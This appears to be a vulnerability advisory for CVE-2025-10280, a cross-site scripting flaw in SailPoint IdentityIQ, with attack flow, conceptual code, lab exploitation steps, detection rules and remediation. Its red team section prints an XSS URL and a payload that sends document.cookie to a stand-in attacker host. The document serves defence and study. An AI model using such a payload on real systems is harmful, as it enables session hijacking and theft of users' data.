CVE-2025-10280

Executive Summary

CVE-2025-10280 is a Cross-Site Scripting (XSS) vulnerability in SailPoint IdentityIQ, affecting versions 8.5, 8.4 prior to patch level 4, 8.3 up to and including patch level 5, and all earlier versions. The vulnerability allows certain IdentityIQ web services that normally return non-HTML content to be accessed via a URL path that forces the Content-Type header to be set to text/html. This enables an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, data theft, or further compromise of the IdentityIQ environment.

The vulnerability has a CVSS score of 7.1 (High) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, given the critical nature of identity management systems, this vulnerability should be prioritized for patching.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and does not involve supply chain security concerns. It is a direct vulnerability in the SailPoint IdentityIQ application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over a network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - The attacker does not need any prior authentication.
• User Interaction (UI): Required (R) - The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component, affecting the user's browser.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): Low (L) - Limited impact on availability.

Threat Level: High. While the EPSS score is low, the potential impact on identity management systems makes this a critical risk for organizations using affected versions.

Deep Dive & Mechanics

The vulnerability resides in how IdentityIQ handles HTTP requests to web services that are designed to return non-HTML content (e.g., JSON, XML, plain text). By crafting a specific URL path, an attacker can force the server to set the Content-Type header to text/html. This causes the browser to interpret the response as HTML, allowing any unescaped user-controlled data within the response to be executed as script.

Root Cause: The application fails to properly validate and sanitize the Content-Type header based on the requested resource. When a request is made to a web service endpoint with a manipulated path, the server incorrectly sets the response's Content-Type to text/html instead of the intended type.

Attack Flow:

1. An attacker identifies a vulnerable IdentityIQ web service endpoint (e.g., /identityiq/services/...).
2. The attacker crafts a URL that includes a path traversal or parameter manipulation to force the Content-Type to text/html.
3. The attacker embeds malicious JavaScript in a parameter or path component that is reflected in the response.
4. The attacker sends the crafted URL to a victim (e.g., via phishing email).
5. The victim clicks the link, and their browser renders the response as HTML, executing the injected script.
6. The script can steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Content-Type is set based on URL path without validation
public Response getServiceResponse(HttpServletRequest request) {
    String path = request.getRequestURI();
    if (path.contains("/services/")) {
        // Force Content-Type to text/html for certain paths
        response.setContentType("text/html");
    }
    // ... process request and return data
    return Response.ok(data).build();
}

Patched Code (Conceptual):

// Patched: Content-Type is set based on the actual service response type
public Response getServiceResponse(HttpServletRequest request) {
    String path = request.getRequestURI();
    // Determine the correct content type based on the service
    String contentType = determineContentType(path);
    response.setContentType(contentType);
    // ... process request and return data
    return Response.ok(data).build();
}

private String determineContentType(String path) {
    if (path.endsWith(".json")) {
        return "application/json";
    } else if (path.endsWith(".xml")) {
        return "application/xml";
    } else {
        return "text/plain";
    }
}

The patched code ensures that the Content-Type header is set based on the actual service response type, not the URL path. This prevents the browser from interpreting non-HTML content as HTML.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable SailPoint IdentityIQ instance (e.g., version 8.3p5) in a controlled environment.
2. Ensure the instance is accessible via a web browser.

Exploitation Steps:

1. Identify a vulnerable endpoint. For example: https://target/identityiq/services/rest/account/
2. Craft a URL that forces the Content-Type to text/html. This may involve adding a path like /..;/..;/ or a parameter like ?format=html.
3. Inject a JavaScript payload into a parameter that is reflected in the response. For example:

   https://target/identityiq/services/rest/account/..;/..;/test?callback=<script>alert('XSS')</script>
   

4. Send the crafted URL to a victim (simulated in lab).
5. Observe that the browser executes the injected script.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual URL patterns, especially those containing ..;/ or ?format=html in requests to IdentityIQ services.
• Look for Content-Type: text/html in responses to endpoints that should return JSON or XML.
• Use WAF rules to block requests with suspicious path traversal or content-type manipulation.

Mitigation:

• Immediately apply the patch (IdentityIQ 8.4p4 or later).
• If patching is not possible, implement a WAF rule to block requests that force Content-Type to text/html for non-HTML endpoints.
• Restrict access to IdentityIQ web services to trusted networks only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to IdentityIQ services with path traversal patterns (e.g., ..;/, %2e%2e%2f).
  • Responses from IdentityIQ services with Content-Type: text/html for endpoints that should return JSON/XML.
  • Outbound connections from the IdentityIQ server to unknown external IPs (potential data exfiltration).

• Host IOCs:

  • Unusual entries in IdentityIQ application logs indicating requests to non-standard paths.
  • Presence of unexpected JavaScript code in IdentityIQ response bodies.

• File IOCs:

  • No specific file-based IOCs are known for this vulnerability.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_10280_XSS_Attempt {
    meta:
        description = "Detects attempts to exploit CVE-2025-10280 in SailPoint IdentityIQ"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10280"
    strings:
        $path_traversal = /\.\.\/|\.\.;\/|%2e%2e%2f|%2e%2e%3b%2f/
        $content_type_html = "Content-Type: text/html"
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $path_traversal and $content_type_html and $xss_payload
}

Sigma Rule

title: CVE-2025-10280 - SailPoint IdentityIQ XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-10280
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '..;/'
            - '..%2f'
            - '%2e%2e%2f'
        sc-content-type: 'text/html'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10280 - SailPoint IdentityIQ XSS Attempt"; flow:to_server; content:"..;/"; http_uri; content:"Content-Type|3a| text/html"; http_server_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to IdentityIQ 8.4p4 or later. For versions 8.3 and earlier, upgrade to a supported version.
2. WAF Rules: Implement Web Application Firewall rules to block requests with path traversal patterns and forced Content-Type manipulation.
3. Network Segmentation: Restrict access to IdentityIQ web services to trusted IP ranges.

Long-Term Measures:

• Conduct a security review of all IdentityIQ web services to ensure proper Content-Type handling.
• Implement input validation and output encoding for all user-controlled data.
• Regularly update IdentityIQ to the latest patch level.
• Monitor for any suspicious activity related to this vulnerability.

Workarounds (if patching is delayed):

• Disable vulnerable web services if they are not essential.
• Use a reverse proxy to enforce correct Content-Type headers.

Valters IT